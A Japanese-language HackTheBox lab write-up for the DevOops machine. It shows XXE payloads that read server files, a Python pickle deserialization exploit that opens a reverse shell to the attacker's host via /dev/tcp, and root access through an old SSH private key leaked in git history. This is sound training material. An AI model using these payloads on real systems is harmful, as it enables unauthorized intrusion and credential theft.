【HackTheBox】DevOops Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.10.91
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4290e335318d8b86172afb3890dac495 (RSA)
| 256 b7b6dcc44c879b752a008983edb28031 (ECDSA)
|_ 256 d52f1953b28e3a4bb3dd3c1fc0370d00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port22と5000が開いてます。Gunicornと書いてあったので、port 5000はpythonのwebアプリケーションっぽいです。
Website Enumeration
port 5000をアクセスするとこんな感じです。
トップページに情報がほぼなかったので、gobusterを実行してみます。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.91:5000
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.91:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/10 08:43:32 Starting gobuster in directory enumeration mode
===============================================================
/feed (Status: 200) [Size: 546263]
/upload (Status: 200) [Size: 347]
Progress: 4614 / 4615 (99.98%)
===============================================================
feedとuploadがありました。
feedはトップページに表示されている画像だけみたいです。
uploadにはどう見ても攻撃できそうなアップロード機能がありました。XMLファイルをアップロードしてみたいと思います。
Foothold: Shell as Roosa
XXE Attack
Find the Correct Format
適当に作ったxmlファイルをアップロードした時のリクエストはこんな感じです。
internal server errorが出ました。フォーマットが間違っているせいと思いますので、正しいフォーマットを探します。
よく見たら、アップロードのページにXML elements: Author, Subject, Content
と書いてましたので、それで試します。
<Author>a</Author>
<Subject>b</Subject>
<Content>c</Content>
このpayloadもinternal server errorが出ました。parent elementがないとダメかな?と思いました。
<file>
<Author>a</Author>
<Subject>b</Subject>
<Content>c</Content>
</file>
これでアップロードが成功しました。レスポンスがこんな感じです。
Read Arbitrary Files
hacktricksのXXE攻撃のページを参照しながらいろいろやっていきます。(https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#main-attacks)
サーバー上の任意のファイルをreadできるかどうかを試します。
Read User Flag
ファイルが読めるみたいです。ではこのままuserフラグを取ってみます。アップロード後のレスポンスに File path: /home/roosa/deploy/src
があったので、/home/roosa
にフラグがあると推測しました。
<!DOCTYPE foo [<!ENTITY example SYSTEM "/home/roosa/user.txt">] >
<feed>
<Author>aaa</Author>
<Subject>bbb</Subject>
<Content>&example;</Content>
</feed>
このpayloadでフラグ取れました。
Python Pickle Exploit
Source Code Analysis
サーバー上にどんなファイルがあるのかわかりませんが、トップページにThis is feed.py, which will become the MVP for Blogfeeder application.
と書いてありましたので、とりあえずfeed.py
の中身を見てみます。
<!DOCTYPE foo [<!ENTITY example SYSTEM "./feed.py">] >
<feed>
<Author>aaa</Author>
<Subject>bbb</Subject>
<Content>&example;</Content>
</feed>
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER,filename)
@app.route("/")
def xss():
return template('index.html')
@app.route("/feed")
def fakefeed():
return send_from_directory(".","devsolita-snapshot.png")
@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# return picklestr
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']
## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
if __name__ == "__main__":
app.run(host='0.0.0,0', Debug=True)
/newpost
のところにpickle.loads()
が使われています。ここにreverse shellのスクリプトを渡せばシェル取れそうです。
Python公式ドキュメントにも書いていますが、信頼できないデータをloadしてはいけないです。
Exploit
このページに書いたコードを参考にしながら攻撃してみます。(https://davidhamann.de/2020/04/05/exploiting-python-pickle/)
reverse shellのpayloadを作る前に、/newpost
の動作確認します。コード見る感じだと{"Subject": "aaa"}
でいけるはずなので、試してみます。
┌──(kali㉿kali)-[~/devoops]
└─$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import pickle
>>> payload = {"Subject": "aaa"}
>>> base64.urlsafe_b64encode(pickle.dumps(payload)).decode()
'gASVFAAAAAAAAAB9lIwHU3ViamVjdJSMA2FhYZRzLg=='
curl -X POST http://10.10.10.91:5000/newpost -d "gASVFAAAAAAAAAB9lIwHU3ViamVjdJSMA2FhYZRzLg==" -H "Content-Type: text/plain"
<html>
<head>
<title>Internal Server Error</title>
</head>
<body>
<h1><p>Internal Server Error</p></h1>
</body>
</html>
なぜかinternal server errorが出ます。いろいろ試しましたが、最後はpython2でpayload作ったらいけました。python2と3はbase64.urlsafe_b64encode()
の挙動が違うみたいです。
┌──(kali㉿kali)-[~/devoops]
└─$ python2
Python 2.7.18 (default, Aug 1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> import pickle
>>> payload = {"Subject": "aaa"}
>>> base64.urlsafe_b64encode(pickle.dumps(payload))
'KGRwMApTJ1N1YmplY3QnCnAxClMnYWFhJwpwMgpzLg=='
curl -X POST http://10.10.10.91:5000/newpost -d "KGRwMApTJ1N1YmplY3QnCnAxClMnYWFhJwpwMgpzLg==" -H "Content-Type: text/plain"
POST RECEIVED: aaa
予想通りのレスポンスが返ってきました。
ではpython2でreverse shellのpayloadを作ります。
# -*- coding: utf-8 -*-
import os
import base64
import pickle
class RCE(object):
def __reduce__(self):
cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.6/9001 0>&1"'
return (os.system, (cmd,))
encoded = base64.urlsafe_b64encode(pickle.dumps(RCE()))
print encoded
実行して出力されたbase64 stringでリクエスト送ります。
curl -X POST http://10.10.10.91:5000/newpost -d "Y3Bvc2l4CnN5c3RlbQpwMAooUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYvOTAwMSAwPiYxIicKcDEKdHAyClJwMwou" -H "Content-Type: text/plain"
┌──(kali㉿kali)-[~/devoops]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.91] 57306
bash: cannot set terminal process group (1288): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
roosa@devoops:~/deploy/src$ whoami
whoami
roosa
シェル取れました。ユーザーはroosaです。
Privilege Escalation
Enumeration
roosaのhome directoryを見てみます。
roosa@devoops:~$ ls -la
ls -la
total 160
drwxr-xr-x 22 roosa roosa 4096 Jun 11 02:59 .
drwxr-xr-x 7 root root 4096 Mar 26 2021 ..
lrwxrwxrwx 1 root root 9 Sep 23 2022 .bash_history -> /dev/null
-rw-r--r-- 1 roosa roosa 220 Mar 19 2018 .bash_logout
-rw-r--r-- 1 roosa roosa 3771 Mar 19 2018 .bashrc
drwx------ 12 roosa roosa 4096 Jun 11 01:58 .cache
drwx------ 3 roosa roosa 4096 Mar 26 2021 .compiz
drwx------ 14 roosa roosa 4096 Mar 26 2021 .config
drwx------ 3 root root 4096 Mar 26 2021 .dbus
drwxrwxr-x 4 roosa roosa 4096 Mar 26 2021 deploy
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Desktop
-rw-r--r-- 1 roosa roosa 25 Mar 21 2018 .dmrc
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Documents
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Downloads
drwx------ 3 roosa roosa 4096 Mar 26 2021 .emacs.d
-rw-r--r-- 1 roosa roosa 8980 Mar 19 2018 examples.desktop
drwx------ 2 roosa roosa 4096 Mar 26 2021 .gconf
-rw-rw-r-- 1 roosa roosa 56 Mar 19 2018 .gitconfig
drwx------ 3 roosa roosa 4096 Mar 26 2021 .gnupg
-rw------- 1 roosa roosa 5100 May 29 2018 .ICEauthority
drwx------ 3 roosa roosa 4096 Mar 26 2021 .local
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Music
drwxrwxr-x 2 roosa roosa 4096 Mar 26 2021 .nano
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Pictures
-rw-r--r-- 1 roosa roosa 655 Mar 19 2018 .profile
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Public
-rwxrw-r-- 1 roosa roosa 147 Mar 26 2018 run-blogfeed.sh
-rw-rw-r-- 1 roosa roosa 1839 Mar 26 2018 service.sh
-rw-rw-r-- 1 roosa roosa 2206 Mar 26 2018 service.sh~
drwx------ 2 roosa roosa 4096 Mar 26 2021 .ssh
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Templates
-r-------- 1 roosa roosa 33 Jun 10 08:25 user.txt
drwxr-xr-x 2 roosa roosa 4096 Mar 26 2021 Videos
drwxrwxr-x 3 roosa roosa 4096 Mar 26 2021 work
-rw------- 1 roosa roosa 205 May 29 2018 .Xauthority
-rw------- 1 roosa roosa 1389 May 31 2018 .xsession-errors
-rw------- 1 roosa roosa 82 May 24 2018 .xsession-errors.old
思ったよりいろいろありました。気になるファイルを確認していきます。
まずはsshのキーがありました。
roosa@devoops:~$ ls .ssh
ls .ssh
authorized_keys
id_rsa
id_rsa.pub
known_hosts
.gitignore
があったので、どこかでgit使ってるみたいです。
[user]
email = roosa@solita.fi
name = Roosa Hakkerson
custom scriptsは気になるのでみてみます。
#/bin/bash
# TODO: replace with better script and run as blogfeed user which is restricted
cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh
run-blogfeed.sh
の内容から見ると、/home/roosa/work/blogfeed/src
にもアプリケーションのコードがあるみたいです。確認してみます。
roosa@devoops:~/work/blogfeed/src$ cd /home/roosa/work/blogfeed/
cd /home/roosa/work/blogfeed/
roosa@devoops:~/work/blogfeed$ ls -la
ls -la
total 32
drwxrwx--- 5 roosa roosa 4096 Jun 11 02:34 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26 2021 ..
-rw-rw-r-- 1 roosa roosa 0 Jun 11 02:34 access.log
-rw-rw-r-- 1 roosa roosa 3869 Jun 11 02:34 feed.log
drwxrwx--- 8 roosa roosa 4096 Mar 26 2021 .git
-rw-rw---- 1 roosa roosa 104 Mar 19 2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26 2021 resources
-rwxrw-r-- 1 roosa roosa 180 Mar 21 2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26 2021 src
ここにgitが使われています。ではログを見てみましょう。
roosa@devoops:~/work/blogfeed$ git log
git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 26 06:13:55 2018 -0400
Use Base64 for pickle feed loading
commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:37:00 2018 -0400
Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:08:09 2018 -0400
Debug support added to make development more agile.
commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:38:21 2018 -0400
Blogfeed app, initial version.
commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:37:56 2018 -0400
Gunicorn startup script
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400
add key for feed integration from tnerprise backend
commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:24:30 2018 -0400
Initial commit
add key for feed integration from tnerprise backend
からのreverted accidental commit with proper key
の流れが気になります。間違ったキーをコミットしてしまって、ここで修正したみたいです。
このコミットの中身を確認してみます。
roosa@devoops:~/work/blogfeed$ git show 33e87c312c08735a02fa9c796021a4a3023129ad
<ed$ git show 33e87c312c08735a02fa9c796021a4a3023129ad
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400
reverted accidental commit with proper key
diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
...[snip]...
-oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
-LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
+ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
...[snip]...
+T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
+bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
-
このコミットから修正前のキーがわかりました。中身を保存しておきます。
Root Shell
一回キーを変更するのはかなり怪しいので、このキーを使ってrootでログインしてみます。
┌──(kali㉿kali)-[~/devoops]
└─$ ssh -i ./pastkey root@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
Last login: Sun Jun 11 03:00:36 2023 from 10.10.14.6
root@devoops:~# whoami
root
root@devoops:~# cat /root/root.txt
rootとしてログインできました。こんなに簡単にpriv escできるのは予想外でした。
Memo
XXEでファイルが読めるなら最初からroosaのsshキーを探せばよかった、、
medium boxの中ではかなり簡単の方だと思います。
Discussion